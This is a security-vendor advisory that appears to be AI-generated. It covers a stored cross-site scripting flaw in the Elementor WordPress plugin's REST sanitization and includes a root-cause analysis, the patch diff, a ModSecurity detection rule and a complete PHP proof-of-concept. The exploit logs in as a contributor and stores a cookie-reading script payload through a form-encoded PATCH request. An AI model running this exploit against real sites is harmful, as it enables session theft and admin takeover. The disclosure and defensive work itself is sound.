Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 17, 2026

CVE-2026-6127: Elementor Website Builder <= 4.0.4 – Authenticated (Contributor+) Stored Cross-Site Scripting via REST API (elementor)

CVE ID CVE-2026-6127
Plugin elementor
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.0.4
Patched Version 4.0.5
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6127:

This vulnerability allows authenticated attackers with contributor-level access to perform Stored Cross-Site Scripting (XSS) via the WordPress REST API. The flaw exists in the Elementor Website Builder plugin versions up to and including 4.0.4. The CVSS score is 6.4 (Medium). The core issue is that the plugin’s input sanitization logic, within the `sanitize_post_data` function in `elementor/includes/plugin.php`, fails to properly handle form-encoded REST API requests.

Root Cause: The vulnerability originates in the `sanitize_post_data` method of the `Plugin` class. This method is attached to the `rest_pre_insert_post` filter. The vulnerable code executes `$request_body = json_decode( $request->get_body(), true )` and then accesses `$request_body[‘meta’]`. When a contributor sends a `PATCH` request with a `Content-Type: application/x-www-form-urlencoded` header, the `get_body()` method returns a form-encoded string (e.g., `meta[_elementor_data]=…`). The `json_decode()` call on this string returns `null` because it is not valid JSON. The code then checks `if ( is_null( $meta ) )` and returns early, skipping all sanitization. With the fix, the code uses `$request->get_param( ‘meta’ )`, which correctly parses form-encoded or JSON request bodies, and iterates over a defined array of sanitizable meta keys (`_elementor_data`, `_elementor_page_settings`).

Exploitation: An attacker with contributor-level access sends a `PATCH` request to the WordPress REST API endpoint for a post (e.g., `/wp-json/wp/v2/posts/`). The request uses a `Content-Type: application/x-www-form-urlencoded`. The request body sets `meta[_elementor_data]` to a serialized array that contains malicious JavaScript in string values, such as `a[title]=alert(1)`. Because the old `sanitize_post_data` function receives `null` from `json_decode()`, it exits without sanitizing. The malicious data is then stored into the post meta table via `update_post_meta()`. When a user views the post, the `print_unescaped_setting()` function in the HTML widget outputs the unsanitized data, causing the XSS to execute in the victim’s browser.

Patch Analysis: The patch in `elementor/includes/plugin.php` introduces two significant changes. First, it defines a private constant `SANITIZABLE_META_KEYS` containing `[‘_elementor_data’, ‘_elementor_page_settings’]`. Second, it replaces the `json_decode( $request->get_body(), true )` pattern with `$request->get_param( ‘meta’ )`. The new code then iterates over the allowed meta keys, sanitizes string values with `wp_kses_post()` via `map_deep()`, and sets the sanitized data back on the request object using `$request->set_param( ‘meta’, $meta )`. This change correctly handles both JSON and form-encoded request bodies. The patch also adds a connectivity check in the media processing route (`elementor/app/modules/import-export-customization/data/routes/process-media.php`) but this is unrelated to the core vulnerability fix.

Impact: Successful exploitation allows an attacker to inject arbitrary JavaScript into a page. This script executes whenever a user, including an administrator, visits the affected page. The attacker can then perform actions on behalf of the victim, such as creating new admin accounts, modifying site content, stealing session cookies, or redirecting users to malicious sites. The attack requires an authenticated account with contributor-level permissions, which is a lower bar than administrator access. The stored nature of the XSS means the payload persists and can affect multiple users over time.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/elementor/app/modules/import-export-customization/data/routes/process-media.php
+++ b/elementor/app/modules/import-export-customization/data/routes/process-media.php
@@ -31,6 +31,10 @@

 		$cloud_kit_library_app = $this->get_cloud_kit_library_app();

+		if ( $cloud_kit_library_app && ! $cloud_kit_library_app->is_connected() ) {
+			return Response::error( ImportExportCustomizationModule::MEDIA_PROCESSING_ERROR, 'Cloud Library is not connected' );
+		}
+
 		$media_urls = $request->get_param( 'media_urls' );
 		$kit = $request->get_param( 'kit' );
 		$quota = null;
--- a/elementor/elementor.php
+++ b/elementor/elementor.php
@@ -3,7 +3,7 @@
  * Plugin Name: Elementor
  * Description: The Elementor Website Builder has it all: drag and drop page builder, Atomic Editor, pixel perfect design, global and reusable style systems, mobile responsive editing, and more. Get started now!
  * Plugin URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=plugin-uri&utm_medium=wp-dash
- * Version: 4.0.4
+ * Version: 4.0.5
  * Author: Elementor.com
  * Author URI: https://elementor.com/?utm_source=wp-plugins&utm_campaign=author-uri&utm_medium=wp-dash
  * Requires PHP: 7.4
@@ -28,7 +28,7 @@
 	exit; // Exit if accessed directly.
 }

-define( 'ELEMENTOR_VERSION', '4.0.4' );
+define( 'ELEMENTOR_VERSION', '4.0.5' );

 define( 'ELEMENTOR__FILE__', __FILE__ );
 define( 'ELEMENTOR_PLUGIN_BASE', plugin_basename( ELEMENTOR__FILE__ ) );
--- a/elementor/includes/plugin.php
+++ b/elementor/includes/plugin.php
@@ -1,4 +1,5 @@
 <?php
+
 namespace Elementor;

 use ElementorCoreAdminMenuAdmin_Menu_Manager;
@@ -39,8 +40,14 @@
  * @since 1.0.0
  */
 class Plugin {
+
 	const ELEMENTOR_DEFAULT_POST_TYPES = [ 'page', 'post' ];

+	private const SANITIZABLE_META_KEYS = [
+		'_elementor_data',
+		'_elementor_page_settings',
+	];
+
 	/**
 	 * Instance.
 	 *
@@ -835,24 +842,32 @@
 		if ( current_user_can( 'unfiltered_html' ) ) {
 			return $post;
 		}
-		$request_body = json_decode( $request->get_body(), true );
-		$meta = $request_body['meta'];
-		if ( is_null( $meta ) ) {
+
+		$meta = $request->get_param( 'meta' );
+		if ( empty( $meta ) || ! is_array( $meta ) ) {
 			return $post;
 		}
-		$elementor_data = $meta['_elementor_data'] ?? [];
-		if ( is_string( $elementor_data ) ) {
-			$elementor_data = json_decode( $elementor_data );
-		}
-		if ( is_null( $elementor_data ) ) {
-			return $post;
+
+		foreach ( self::SANITIZABLE_META_KEYS as $meta_key ) {
+			$elementor_data = $meta[ $meta_key ] ?? null;
+			if ( is_null( $elementor_data ) ) {
+				continue;
+			}
+			if ( is_string( $elementor_data ) ) {
+				$elementor_data = json_decode( $elementor_data, true );
+			}
+			if ( empty( $elementor_data ) ) {
+				continue;
+			}
+
+			$elementor_data = map_deep($elementor_data, function ( $value ) {
+				return is_bool( $value ) || is_null( $value ) ? $value : wp_kses_post( $value );
+			});
+
+			$meta[ $meta_key ] = wp_json_encode( $elementor_data );
 		}

-		$elementor_data = map_deep( $elementor_data, function ( $value ) {
-			return is_bool( $value ) || is_null( $value ) ? $value : wp_kses_post( $value );
-		} );
-		$request_body['meta']['_elementor_data'] = json_encode( $elementor_data );
-		$request->set_body( json_encode( $request_body ) );
+		$request->set_param( 'meta', $meta );
 		return $post;
 	}
 }
--- a/elementor/vendor/composer/installed.php
+++ b/elementor/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'elementor/elementor',
         'pretty_version' => '4.00.x-dev',
         'version' => '4.00.9999999.9999999-dev',
-        'reference' => '997c31de01ac9769446b8961d7784f28b424c52a',
+        'reference' => 'c6ec1f1a7924378da02d3b93a25b6bb458e96573',
         'type' => 'project',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'elementor/elementor' => array(
             'pretty_version' => '4.00.x-dev',
             'version' => '4.00.9999999.9999999-dev',
-            'reference' => '997c31de01ac9769446b8961d7784f28b424c52a',
+            'reference' => 'c6ec1f1a7924378da02d3b93a25b6bb458e96573',
             'type' => 'project',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-json/wp/v[0-9]+/posts/[0-9]+$" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6127 - Elementor Stored XSS via REST API',severity:'CRITICAL',tag:'CVE-2026-6127'"
  SecRule REQUEST_METHOD "@streq PATCH" "chain"
    SecRule REQUEST_BODY "@rx meta[_elementor_data]=" 
      "t:urlDecode,t:lowercase,chain"
      SecRule MATCHED_VAR "@rx <script|<svg|<img|onload|onerror|alert|prompt|confirm" 
        "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6127 - Elementor Website Builder <= 4.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API

// Configuration: Set these variables to match your target environment
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor'; // WordPress user with contributor role
$password = 'password'; // User's password

// Step 1: Authenticate to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract nonce for REST API from the response (simplified; real PoC might need to parse the admin page)
// For demo, we assume we have a valid nonce or use cookie auth

// Step 2: Get the nonce from the admin page
$admin_url = $target_url . '/wp-admin/post-new.php?post_type=post';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
preg_match('/wpApiSettings = {.*?nonce:.*?"([^"]+)"/', curl_exec($ch), $matches);
$nonce = $matches[1] ?? '';
curl_close($ch);

// Step 3: Create a new post to get a post ID (or use an existing post)
$create_url = $target_url . '/wp-json/wp/v2/posts';
$create_data = array(
    'title' => 'XSS Test Post',
    'content' => 'Testing',
    'status' => 'publish'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $create_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($create_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$result = json_decode(curl_exec($ch), true);
$post_id = $result['id'] ?? false;
curl_close($ch);

if (!$post_id) {
    die('Failed to create a new post.');
}
echo "Created post with ID: $post_idn";

// Step 4: Craft XSS payload via form-encoded PATCH request (exploiting the flaw)
$patch_url = $target_url . '/wp-json/wp/v2/posts/' . $post_id;

// Build the malicious elementor_data as a serialized array
// The array structure simulates Elementor data with an HTML widget containing XSS
$elementor_data = array(
    array(
        'id' => 'widget_1',
        'elType' => 'widget',
        'widgetType' => 'html',
        'settings' => array(
            'html' => '<script>alert(document.cookie)</script>'
        )
    )
);

// The request body is form-encoded. The meta[_elementor_data] parameter contains the malicious payload.
// Because the Content-Type is application/x-www-form-urlencoded, json_decode returns null and sanitization is bypassed.
$patch_data = array();
$patch_data['meta[_elementor_data]'] = json_encode($elementor_data);
$patch_data['meta[_elementor_page_settings]'] = '{}';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $patch_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PATCH');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($patch_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'X-WP-Nonce: ' . $nonce
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "PATCH response code: $http_coden";
if ($http_code == '200') {
    echo "XSS payload stored. Visit: " . $target_url . "/?p=$post_idn";
} else {
    echo "Failed to store payload. Check user permissions and nonce.n";
}

// Clean up the temporary cookies file
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School